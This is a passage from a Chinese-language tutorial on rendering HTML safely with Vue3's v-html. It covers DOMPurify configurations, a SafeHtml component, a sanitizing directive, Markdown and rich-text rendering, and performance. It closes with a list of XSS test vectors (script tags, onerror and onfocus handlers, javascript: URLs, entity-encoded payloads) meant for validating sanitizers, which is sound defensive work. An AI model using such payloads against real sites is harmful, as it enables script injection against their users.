    'blockquote', 'pre', 'code',
    'table', 'thead', 'tbody', 'tr', 'th', 'td',
    'div', 'span'
  ],
  
  // 允许的属性白名单
  ALLOWED_ATTR: [
    'href', 'src', 'alt', 'title',
    'class', 'id',
    'width', 'height',
    'target', 'rel'
  ],
  
  // 禁止的标签（黑名单，优先级高于白名单）
  FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed'],
  
  // 禁止的属性
  FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'style'],
  
  // 允许data-*属性
  ALLOW_DATA_ATTR: false,
  
  // 是否允许ARIA属性
  ALLOW_ARIA_ATTR: true,
  
  // 返回整个文档还是仅返回body内容
  WHOLE_DOCUMENT: false,
  
  // 是否净化HTML注释
  ALLOW_UNKNOWN_PROTOCOLS: false,
  
  // 是否移除HTML注释
  SAFE_FOR_TEMPLATES: true
}

const sanitized = DOMPurify.sanitize(dirtyHTML, strictConfig)

更灵活的配置------按标签定制：

javascript 复制代码 
import DOMPurify from 'dompurify'

// 灵活的净化配置
const flexibleConfig = {
  // 允许所有标签，但限制特定标签的属性
  ADD_TAGS: ['custom-element'],  // 额外允许自定义元素
  
  // 为特定标签添加允许的属性
  ADD_ATTR: ['target', 'rel'],
  
  // 默认允许的URI协议
  ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
  
  // 钩子函数：在净化后对每个节点执行自定义处理
  HOOKS: {
    afterSanitizeAttributes: (node) => {
      // 所有a标签添加 rel="noopener noreferrer"
      if (node.tagName === 'A') {
        node.setAttribute('rel', 'noopener noreferrer')
        node.setAttribute('target', '_blank')
      }
    }
  }
}

const sanitized = DOMPurify.sanitize(dirtyHTML, flexibleConfig)

4.2 封装安全的v-html组件

在实际项目中，我们不应该在每次使用v-html时都手动调用DOMPurify，而是应该封装一个可复用的安全HTML渲染组件：

html 复制代码 
<!-- components/SafeHtml.vue -->
<template>
  <div 
    v-html="sanitizedHtml"
    :class="wrapperClass"
    :style="wrapperStyle"
  ></div>
</template>

<script setup>
import { computed } from 'vue'
import DOMPurify from 'dompurify'

const props = defineProps({
  // 要渲染的HTML内容
  html: {
    type: String,
    default: ''
  },
  // DOMPurify配置选项
  sanitizeOptions: {
    type: Object,
    default: () => ({})
  },
  // 外层容器的CSS类
  wrapperClass: {
    type: [String, Array, Object],
    default: ''
  },
  // 外层容器的内联样式
  wrapperStyle: {
    type: [String, Object],
    default: ''
  },
  // 标签名（默认为div）
  tag: {
    type: String,
    default: 'div'
  }
})

// 默认的净化配置
const defaultOptions = {
  ALLOWED_TAGS: [
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'p', 'br', 'hr', 'pre', 'code', 'blockquote',
    'strong', 'b', 'em', 'i', 'u', 's', 'del', 'ins',
    'ul', 'ol', 'li', 'dl', 'dt', 'dd',
    'a', 'img', 'table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td',
    'div', 'span', 'sub', 'sup',
    'video', 'audio', 'source'
  ],
  ALLOWED_ATTR: [
    'href', 'src', 'alt', 'title', 'class', 'id',
    'width', 'height', 'controls', 'autoplay', 'loop',
    'target', 'rel', 'data-*'
  ],
  ALLOW_DATA_ATTR: true,
  FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form', 'input'],
  FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'onmouseout']
}

const sanitizedHtml = computed(() => {
  if (!props.html) return ''
  
  // 合并默认配置和自定义配置
  const mergedOptions = { ...defaultOptions, ...props.sanitizeOptions }
  
  // 净化HTML
  return DOMPurify.sanitize(props.html, mergedOptions)
})
</script>

<style scoped>
/* 为v-html渲染的内容提供基础样式 */
:deep(img) {
  max-width: 100%;
  height: auto;
}

:deep(table) {
  border-collapse: collapse;
  width: 100%;
}

:deep(th), :deep(td) {
  border: 1px solid #ddd;
  padding: 8px 12px;
}

:deep(pre) {
  background-color: #f5f5f5;
  padding: 16px;
  border-radius: 4px;
  overflow-x: auto;
}

:deep(code) {
  font-family: 'Courier New', monospace;
  background-color: #f0f0f0;
  padding: 2px 4px;
  border-radius: 2px;
}

:deep(pre code) {
  background-color: transparent;
  padding: 0;
}

:deep(blockquote) {
  border-left: 4px solid #409eff;
  padding-left: 16px;
  margin: 16px 0;
  color: #666;
}
</style>

使用SafeHtml组件：

html 复制代码 
<template>
  <div class="article-viewer">
    <h1>文章详情</h1>
    
    <!-- 安全的HTML渲染 -->
    <SafeHtml 
      :html="articleContent"
      :sanitize-options="articleSanitizeOptions"
      wrapper-class="article-body"
      tag="article"
    />
  </div>
</template>

<script setup>
import { ref } from 'vue'
import SafeHtml from '@/components/SafeHtml.vue'

const articleContent = ref(`
  <h2>第一章：Vue3入门</h2>
  <p>Vue3是一个<strong>渐进式</strong>JavaScript框架...</p>
  <img src="x" onerror="alert('XSS')" /> <!-- 会被净化移除 -->
`)

// 文章内容允许的标签和属性更宽泛
const articleSanitizeOptions = {
  ALLOWED_TAGS: [
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'p', 'br', 'hr', 'pre', 'code', 'blockquote',
    'strong', 'b', 'em', 'i', 'u', 's',
    'ul', 'ol', 'li', 'a', 'img',
    'table', 'thead', 'tbody', 'tr', 'th', 'td',
    'div', 'span', 'figure', 'figcaption'
  ]
}
</script>

4.3 自定义指令封装（进阶方案）

如果不想引入DOMPurify库，或者希望更轻量级的解决方案，可以封装一个自定义指令：

javascript 复制代码 
// directives/vSafeHtml.js
/**
 * 自定义v-safe-html指令
 * 提供基础的HTML净化功能
 */
export const vSafeHtml = {
  mounted(el, binding) {
    el.innerHTML = sanitizeBasic(binding.value)
  },
  updated(el, binding) {
    if (binding.value !== binding.oldValue) {
      el.innerHTML = sanitizeBasic(binding.value)
    }
  }
}

/**
 * 基础HTML净化函数
 * 移除危险标签和事件处理器
 * 注意：这只是一个基础实现，生产环境建议使用DOMPurify
 */
function sanitizeBasic(html) {
  if (!html) return ''
  
  // 创建一个临时的DOM解析器
  const parser = new DOMParser()
  const doc = parser.parseFromString(html, 'text/html')
  
  // 移除所有危险标签
  const dangerousTags = ['script', 'iframe', 'object', 'embed', 'link', 'style', 'meta']
  dangerousTags.forEach(tag => {
    doc.querySelectorAll(tag).forEach(el => el.remove())
  })
  
  // 移除所有元素上的事件处理器
  const allElements = doc.querySelectorAll('*')
  allElements.forEach(el => {
    const attributes = [...el.attributes]
    attributes.forEach(attr => {
      // 移除所有on*事件属性
      if (attr.name.startsWith('on')) {
        el.removeAttribute(attr.name)
      }
      // 移除javascript:协议的链接
      if (attr.name === 'href' && attr.value.trim().toLowerCase().startsWith('javascript:')) {
        el.removeAttribute(attr.name)
      }
    })
  })
  
  return doc.body.innerHTML
}

// 在main.js中注册全局指令
// app.directive('safe-html', vSafeHtml)

使用自定义指令：

html 复制代码 
<template>
  <!-- 使用v-safe-html替代v-html -->
  <div v-safe-html="userContent"></div>
</template>

4.4 服务端渲染（SSR）场景的注意事项

在服务端渲染场景下使用v-html需要额外注意：

javascript 复制代码 
// server.js (Nuxt3 / Vue SSR)
import { createSSRApp } from 'vue'
import { renderToString } from 'vue/server-renderer'
import DOMPurify from 'dompurify'
import { JSDOM } from 'jsdom'

// SSR环境下DOMPurify需要DOM环境
const window = new JSDOM('').window
const purify = DOMPurify(window)

// 创建SSR专用的净化函数
function sanitizeForSSR(html) {
  return purify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'title', 'target', 'rel']
  })
}

// 在服务端渲染过程中净化HTML
async function renderApp() {
  const app = createSSRApp(/* ... */)
  
  // 在渲染前净化所有HTML内容
  // 或者在组件的computed中直接调用净化函数
  
  const html = await renderToString(app)
  return html
}

五、常见使用场景

5.1 富文本编辑器内容渲染

这是v-html最常见的应用场景。当使用富文本编辑器（如TinyMCE、Quill、Tiptap等）时，编辑器输出的HTML内容需要被正确地渲染到页面中。

html 复制代码 
<template>
  <div class="rich-text-app">
    <h2>文章编辑器</h2>
    
    <!-- 编辑区域 -->
    <div class="editor-section">
      <QuillEditor 
        v-model:content="editorContent"
        theme="snow"
        @update:content="handleContentChange"
      />
    </div>
    
    <!-- 预览区域 -->
    <div class="preview-section">
      <h3>预览效果</h3>
      <SafeHtml 
        :html="sanitizedContent"
        wrapper-class="rich-text-preview"
      />
    </div>
    
    <!-- 原始HTML查看 -->
    <div class="raw-section">
      <h3>净化后的HTML源码</h3>
      <pre><code>{{ sanitizedContent }}</code></pre>
    </div>
  </div>
</template>

<script setup>
import { ref, computed } from 'vue'
import DOMPurify from 'dompurify'
import SafeHtml from '@/components/SafeHtml.vue'

const editorContent = ref('')

// 富文本特定的净化配置
const richTextConfig = {
  ALLOWED_TAGS: [
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'p', 'br', 'hr', 'pre', 'code', 'blockquote',
    'strong', 'b', 'em', 'i', 'u', 's', 'del',
    'ul', 'ol', 'li',
    'a', 'img',
    'table', 'thead', 'tbody', 'tr', 'th', 'td',
    'div', 'span',
    'video', 'audio', 'source',
    'figure', 'figcaption'
  ],
  ALLOWED_ATTR: [
    'href', 'src', 'alt', 'title', 'class', 'id',
    'width', 'height', 'style',  // 富文本需要内联样式
    'target', 'rel',
    'controls', 'autoplay', 'loop', 'muted',
    'colspan', 'rowspan'
  ],
  // 允许列表样式
  ALLOW_STYLE: true
}

const sanitizedContent = computed(() => {
  return DOMPurify.sanitize(editorContent.value, richTextConfig)
})

const handleContentChange = (content) => {
  // 可以在内容变化时做额外的处理
  console.log('内容已更新，长度：', content.length)
}
</script>

<style scoped>
.rich-text-app {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 20px;
  padding: 20px;
}

.editor-section,
.preview-section {
  border: 1px solid #e0e0e0;
  border-radius: 8px;
  padding: 16px;
}

.rich-text-preview {
  min-height: 200px;
  padding: 16px;
  background: #fafafa;
  border-radius: 4px;
}
</style>

5.2 Markdown渲染

Markdown渲染是v-html的另一个高频使用场景。通常的做法是使用marked、markdown-it等库将Markdown转换为HTML，然后通过v-html渲染：

html 复制代码 
<template>
  <div class="markdown-viewer">
    <div class="source-panel">
      <h3>Markdown源码</h3>
      <textarea 
        v-model="markdownText"
        placeholder="请输入Markdown内容..."
        rows="20"
      ></textarea>
    </div>
    
    <div class="preview-panel">
      <h3>渲染预览</h3>
      <SafeHtml 
        :html="renderedHtml"
        :sanitize-options="markdownSanitizeOptions"
        wrapper-class="markdown-body"
      />
    </div>
  </div>
</template>

<script setup>
import { ref, computed } from 'vue'
import { marked } from 'marked'
import DOMPurify from 'dompurify'
import SafeHtml from '@/components/SafeHtml.vue'

// 配置marked
marked.setOptions({
  breaks: true,        // 支持GFM换行
  gfm: true,           // 启用GitHub Flavored Markdown
  headerIds: true,     // 标题自动生成ID
  mangle: false,       // 不混淆邮箱地址
  sanitize: false      // marked自身不净化，交给DOMPurify处理
})

const markdownText = ref(`# Vue3 v-html 使用指南

## 基本用法

\`v-html\` 用于渲染 **原始HTML** 内容：

\`\`\`html
<div v-html="rawHtml"></div>
\`\`\`

## 注意事项

1. **安全第一**：始终净化用户输入的HTML
2. **性能考虑**：避免频繁更新大量HTML内容
3. **样式隔离**：使用scoped或CSS Modules

> 重要提示：永远不要信任用户输入的数据！

| 指令 | 类型 | 安全性 |
|------|------|--------|
| v-html | HTML | 需手动防护 |
| v-text | 文本 | 安全 |
| {{ }} | 文本 | 安全 |
`)

const markdownSanitizeOptions = {
  ALLOWED_TAGS: [
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    'p', 'br', 'hr', 'pre', 'code',
    'strong', 'b', 'em', 'i', 'del', 's',
    'ul', 'ol', 'li', 'dl', 'dt', 'dd',
    'a', 'img', 'blockquote',
    'table', 'thead', 'tbody', 'tr', 'th', 'td',
    'div', 'span', 'input'  // 任务列表需要checkbox
  ],
  ALLOWED_ATTR: [
    'href', 'src', 'alt', 'title', 'class', 'id',
    'target', 'rel', 'type', 'checked', 'disabled'
  ],
  ADD_ATTR: ['target', 'rel']
}

const renderedHtml = computed(() => {
  // 第一步：将Markdown转换为HTML
  const rawHtml = marked.parse(markdownText.value)
  
  // 第二步：净化HTML
  const cleanHtml = DOMPurify.sanitize(rawHtml, markdownSanitizeOptions)
  
  return cleanHtml
})
</script>

进阶：使用markdown-it获得更好的扩展性：

javascript 复制代码 
import MarkdownIt from 'markdown-it'
import DOMPurify from 'dompurify'

// 创建markdown-it实例
const md = new MarkdownIt({
  html: true,         // 允许HTML标签
  linkify: true,      // 自动转换URL为链接
  typographer: true,  // 智能引号等排版优化
  breaks: true        // 换行转<br>
})

// 添加代码高亮插件
import hljs from 'highlight.js'

md.set({
  highlight: function (str, lang) {
    if (lang && hljs.getLanguage(lang)) {
      try {
        return `<pre class="hljs"><code>${
          hljs.highlight(str, { language: lang, ignoreIllegals: true }).value
        }</code></pre>`
      } catch (__) {}
    }
    return `<pre class="hljs"><code>${md.utils.escapeHtml(str)}</code></pre>`
  }
})

// 渲染并净化
function renderMarkdown(markdownText) {
  const rawHtml = md.render(markdownText)
  return DOMPurify.sanitize(rawHtml, {
    ADD_TAGS: ['pre', 'code'],
    ADD_ATTR: ['class']
  })
}

5.3 动态模板与邮件模板渲染

在某些场景下，你可能需要根据后端返回的模板数据动态渲染HTML：

html 复制代码 
<template>
  <div class="email-preview">
    <SafeHtml :html="compiledTemplate" />
  </div>
</template>

<script setup>
import { ref, computed } from 'vue'
import SafeHtml from '@/components/SafeHtml.vue'

// 后端返回的邮件模板和变量数据
const templateData = ref({
  template: `<div style="font-family:Arial,sans-serif;max-width:600px;margin:0 auto;">
    <h1 style="color:#333;">欢迎加入 {{companyName}}</h1>
    <p>亲爱的 <strong>{{userName}}</strong>，</p>
    <p>{{message}}</p>
    <a href="{{linkUrl}}" style="display:inline-block;padding:12px 24px;background:#409eff;color:#fff;text-decoration:none;border-radius:4px;">
      {{buttonText}}
    </a>
  </div>`,
  variables: {
    companyName: 'Vue3技术社区',
    userName: '张三',
    message: '感谢您注册我们的平台，请点击下方按钮完成验证。',
    linkUrl: 'https://example.com/verify?token=abc123',
    buttonText: '立即验证'
  }
})

// 编译模板：替换变量
const compiledTemplate = computed(() => {
  let html = templateData.value.template
  const vars = templateData.value.variables
  
  Object.entries(vars).forEach(([key, value]) => {
    // 使用正则替换所有{{key}}占位符
    const regex = new RegExp(`\\{\\{${key}\\}\\}`, 'g')
    html = html.replace(regex, escapeHtml(String(value)))
  })
  
  return html
})

// 基础HTML转义（防止变量值中的恶意代码）
function escapeHtml(str) {
  const div = document.createElement('div')
  div.textContent = str
  return div.innerHTML
}
</script>

5.4 SVG图标与动态图形

v-html也可以用于动态渲染SVG图标：

html 复制代码 
<template>
  <div class="icon-system">
    <!-- 动态SVG图标渲染 -->
    <span 
      v-for="icon in iconList"
      :key="icon.name"
      class="icon-wrapper"
      v-html="icon.svg"
      :title="icon.name"
    ></span>
  </div>
</template>

<script setup>
import { ref } from 'vue'
import DOMPurify from 'dompurify'

// SVG净化配置
const svgConfig = {
  ADD_TAGS: ['svg', 'path', 'circle', 'rect', 'line', 'polyline', 'polygon', 'g', 'defs', 'use'],
  ADD_ATTR: [
    'd', 'viewBox', 'fill', 'stroke', 'stroke-width',
    'cx', 'cy', 'r', 'x', 'y', 'width', 'height',
    'transform', 'xmlns'
  ]
}

const iconList = ref([
  {
    name: 'home',
    svg: DOMPurify.sanitize(
      '<svg viewBox="0 0 24 24" width="24" height="24"><path d="M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z" fill="currentColor"/></svg>',
      svgConfig
    )
  },
  {
    name: 'settings',
    svg: DOMPurify.sanitize(
      '<svg viewBox="0 0 24 24" width="24" height="24"><path d="M19.14 12.94c.04-.3.06-.61.06-.94 0-.32-.02-.64-.07-.94l2.03-1.58a.49.49 0 00.12-.61l-1.92-3.32a.49.49 0 00-.59-.22l-2.39.96c-.5-.38-1.03-.7-1.62-.94l-.36-2.54a.484.484 0 00-.48-.41h-3.84c-.24 0-.43.17-.47.41l-.36 2.54c-.59.24-1.13.57-1.62.94l-2.39-.96c-.22-.08-.47 0-.59.22L2.74 8.87c-.12.21-.08.47.12.61l2.03 1.58c-.05.3-.07.62-.07.94s.02.64.07.94l-2.03 1.58a.49.49 0 00-.12.61l1.92 3.32c.12.22.37.29.59.22l2.39-.96c.5.38 1.03.7 1.62.94l.36 2.54c.05.24.24.41.48.41h3.84c.24 0 .44-.17.47-.41l.36-2.54c.59-.24 1.13-.56 1.62-.94l2.39.96c.22.08.47 0 .59-.22l1.92-3.32c.12-.22.07-.47-.12-.61l-2.01-1.58zM12 15.6c-1.98 0-3.6-1.62-3.6-3.6s1.62-3.6 3.6-3.6 3.6 1.62 3.6 3.6-1.62 3.6-3.6 3.6z" fill="currentColor"/></svg>',
      svgConfig
    )
  }
])
</script>

六、性能考量

6.1 v-html的性能影响

使用v-html时，每次数据更新都会触发以下操作：
#mermaid-svg-XoGIYMb1v6eWlSI9{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-XoGIYMb1v6eWlSI9 .error-icon{fill:#552222;}#mermaid-svg-XoGIYMb1v6eWlSI9 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-XoGIYMb1v6eWlSI9 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .marker.cross{stroke:#333333;}#mermaid-svg-XoGIYMb1v6eWlSI9 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-XoGIYMb1v6eWlSI9 p{margin:0;}#mermaid-svg-XoGIYMb1v6eWlSI9 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .cluster-label text{fill:#333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .cluster-label span{color:#333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .cluster-label span p{background-color:transparent;}#mermaid-svg-XoGIYMb1v6eWlSI9 .label text,#mermaid-svg-XoGIYMb1v6eWlSI9 span{fill:#333;color:#333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .node rect,#mermaid-svg-XoGIYMb1v6eWlSI9 .node circle,#mermaid-svg-XoGIYMb1v6eWlSI9 .node ellipse,#mermaid-svg-XoGIYMb1v6eWlSI9 .node polygon,#mermaid-svg-XoGIYMb1v6eWlSI9 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-XoGIYMb1v6eWlSI9 .rough-node .label text,#mermaid-svg-XoGIYMb1v6eWlSI9 .node .label text,#mermaid-svg-XoGIYMb1v6eWlSI9 .image-shape .label,#mermaid-svg-XoGIYMb1v6eWlSI9 .icon-shape .label{text-anchor:middle;}#mermaid-svg-XoGIYMb1v6eWlSI9 .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-XoGIYMb1v6eWlSI9 .rough-node .label,#mermaid-svg-XoGIYMb1v6eWlSI9 .node .label,#mermaid-svg-XoGIYMb1v6eWlSI9 .image-shape .label,#mermaid-svg-XoGIYMb1v6eWlSI9 .icon-shape .label{text-align:center;}#mermaid-svg-XoGIYMb1v6eWlSI9 .node.clickable{cursor:pointer;}#mermaid-svg-XoGIYMb1v6eWlSI9 .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .arrowheadPath{fill:#333333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-XoGIYMb1v6eWlSI9 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-XoGIYMb1v6eWlSI9 .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-XoGIYMb1v6eWlSI9 .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-XoGIYMb1v6eWlSI9 .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-XoGIYMb1v6eWlSI9 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-XoGIYMb1v6eWlSI9 .cluster text{fill:#333;}#mermaid-svg-XoGIYMb1v6eWlSI9 .cluster span{color:#333;}#mermaid-svg-XoGIYMb1v6eWlSI9 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-XoGIYMb1v6eWlSI9 .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-XoGIYMb1v6eWlSI9 rect.text{fill:none;stroke-width:0;}#mermaid-svg-XoGIYMb1v6eWlSI9 .icon-shape,#mermaid-svg-XoGIYMb1v6eWlSI9 .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-XoGIYMb1v6eWlSI9 .icon-shape p,#mermaid-svg-XoGIYMb1v6eWlSI9 .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-XoGIYMb1v6eWlSI9 .icon-shape .label rect,#mermaid-svg-XoGIYMb1v6eWlSI9 .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-XoGIYMb1v6eWlSI9 .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-XoGIYMb1v6eWlSI9 .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-XoGIYMb1v6eWlSI9 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 数据变化
innerHTML被赋值
浏览器解析HTML字符串
构建DOM树
计算样式
布局Layout
绘制Paint
合成Composite
对比：textContent赋值
创建文本节点
直接渲染

性能对比数据：

操作类型 1000字符 10000字符 100000字符
textContent赋值 ~0.1ms ~0.3ms ~1ms
innerHTML赋值（纯文本） ~0.3ms ~1ms ~5ms
innerHTML赋值（含复杂标签） ~1ms ~5ms ~30ms
HTML解析 + 样式计算 ~2ms ~15ms ~80ms
完整渲染管线 ~5ms ~30ms ~150ms

注：以上数据为近似值，实际性能取决于浏览器、设备性能和HTML复杂度。

6.2 性能优化策略

策略1：减少不必要的v-html更新

html 复制代码 
<template>
  <div class="optimized-render">
    <!-- 使用v-memo缓存渲染结果（Vue3.2+） -->
    <div v-memo="[contentHash]">
      <div v-html="largeHtmlContent"></div>
    </div>
  </div>
</template>

<script setup>
import { ref, computed } from 'vue'

const largeHtmlContent = ref('<div>大量HTML内容...</div>')

// 使用哈希值避免不必要的重新渲染
const contentHash = computed(() => {
  return simpleHash(largeHtmlContent.value)
})

// 简单哈希函数
function simpleHash(str) {
  let hash = 0
  for (let i = 0; i < str.length; i++) {
    const char = str.charCodeAt(i)
    hash = ((hash << 5) - hash) + char
    hash = hash & hash // 转换为32位整数
  }
  return hash
}
</script>

策略2：虚拟滚动处理大量HTML内容

html 复制代码 
<template>
  <div class="virtual-scroll-container" ref="containerRef">
    <div 
      class="virtual-scroll-spacer"
      :style="{ height: totalHeight + 'px' }"
    >
      <div 
        class="visible-content"
        :style="{ transform: `translateY(${offsetY}px)` }"
        v-html="visibleContent"
      ></div>
    </div>
  </div>
</template>

<script setup>
import { ref, computed, onMounted, onUnmounted } from 'vue'
import DOMPurify from 'dompurify'

// 模拟大量文章数据
const articles = ref([])
for (let i = 0; i < 1000; i++) {
  articles.value.push({
    id: i,
    content: `<h3>文章 #${i + 1}</h3><p>这是第${i + 1}篇文章的内容...</p>`
  })
}

const ITEM_HEIGHT = 100
const VISIBLE_COUNT = 10
const BUFFER = 3

const containerRef = ref(null)
const scrollTop = ref(0)

const totalHeight = computed(() => articles.value.length * ITEM_HEIGHT)

const startIndex = computed(() => 
  Math.max(0, Math.floor(scrollTop.value / ITEM_HEIGHT) - BUFFER)
)

const endIndex = computed(() => 
  Math.min(
    articles.value.length,
    startIndex.value + VISIBLE_COUNT + BUFFER * 2
  )
)

const offsetY = computed(() => startIndex.value * ITEM_HEIGHT)

const visibleContent = computed(() => {
  const visible = articles.value.slice(startIndex.value, endIndex.value)
  const rawHtml = visible.map(a => 
    `<div class="article-item" style="height:${ITEM_HEIGHT}px">${a.content}</div>`
  ).join('')
  return DOMPurify.sanitize(rawHtml)
})

const handleScroll = () => {
  if (containerRef.value) {
    scrollTop.value = containerRef.value.scrollTop
  }
}

onMounted(() => {
  containerRef.value?.addEventListener('scroll', handleScroll, { passive: true })
})

onUnmounted(() => {
  containerRef.value?.removeEventListener('scroll', handleScroll)
})
</script>

策略3：使用Web Worker进行HTML净化

javascript 复制代码 
// workers/sanitize.worker.js
import DOMPurify from 'dompurify'

self.onmessage = function(e) {
  const { html, options } = e.data
  const sanitized = DOMPurify.sanitize(html, options)
  self.postMessage({ sanitized })
}
html 复制代码 
<template>
  <div v-html="sanitizedHtml"></div>
</template>

<script setup>
import { ref, watch } from 'vue'
import SanitizeWorker from '@/workers/sanitize.worker.js?worker'

const rawHtml = ref('')
const sanitizedHtml = ref('')

// 创建Worker实例
const worker = new SanitizeWorker()

worker.onmessage = (e) => {
  sanitizedHtml.value = e.data.sanitized
}

// 将净化任务交给Worker处理
watch(rawHtml, (newVal) => {
  worker.postMessage({
    html: newVal,
    options: {
      ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li']
    }
  })
})
</script>

七、最佳实践与安全指南

7.1 安全使用原则

以下是使用v-html时必须遵循的核心安全原则：

原则1：永远不要信任用户输入

javascript 复制代码 
// 错误做法
const userInput = ref('')
// 直接使用用户输入，危险！
<div v-html="userInput"></div>

// 正确做法
import DOMPurify from 'dompurify'
const userInput = ref('')
const safeHtml = computed(() => DOMPurify.sanitize(userInput.value))
<div v-html="safeHtml"></div>

原则2：采用白名单策略而非黑名单

javascript 复制代码 
// 错误：黑名单方式（总有遗漏）
const dangerous = ['script', 'iframe', 'object', 'embed', ...]
// 攻击者总能找到新的攻击向量

// 正确：白名单方式（只允许已知安全的标签）
const safeConfig = {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'h1', 'h2', 'h3'],
  ALLOWED_ATTR: ['href', 'title', 'class', 'id']
}

原则3：最少权限原则

javascript 复制代码 
// 根据实际需求设置最小权限
// 评论内容：通常只需要基本的文本格式
const commentConfig = {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
  ALLOWED_ATTR: ['href', 'title']
}

// 文章内容：需要更多的格式标签
const articleConfig = {
  ALLOWED_TAGS: [
    'h1', 'h2', 'h3', 'h4', 'p', 'br', 'hr',
    'strong', 'b', 'em', 'i', 'u', 's',
    'ul', 'ol', 'li', 'blockquote', 'pre', 'code',
    'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td',
    'div', 'span'
  ],
  ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class', 'id', 'width', 'height']
}

7.2 安全检查清单

在实际项目中使用v-html前，请逐项检查以下清单：

序号 检查项 说明
1 数据来源是否可信 确认数据来自可信后端还是用户输入
2 是否使用了HTML净化库 推荐使用DOMPurify
3 净化配置是否使用了白名单 避免使用黑名单方式
4 是否限制了危险标签 script、iframe、object、embed等
5 是否移除了事件处理器 所有on*属性
6 是否过滤了javascript:协议 href和src属性中的危险协议
7 是否对CSS进行了限制 防止CSS注入和点击劫持
8 是否在SSR环境下正确处理 确保服务端也能正常净化
9 是否有性能监控 监控v-html渲染的性能影响
10 是否进行了安全测试 使用XSS测试向量验证

7.3 安全测试向量

使用以下测试向量验证你的HTML净化配置是否有效：

javascript 复制代码 
// XSS测试向量集合
const xssTestVectors = [
  // 基础script标签
  `<script>alert('XSS')</script>`,
  
  // 事件处理器
  `<img src="x" onerror="alert('XSS')">`,
  `<body onload="alert('XSS')">`,
  `<div onmouseover="alert('XSS')">鼠标移到这里</div>`,
  `<input onfocus="alert('XSS')" autofocus>`,
  
  // javascript:协议
  `<a href="javascript:alert('XSS')">点击我</a>`,
  `<iframe src="javascript:alert('XSS')"></iframe>`,
  
  // 编码绕过
  `<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">`,
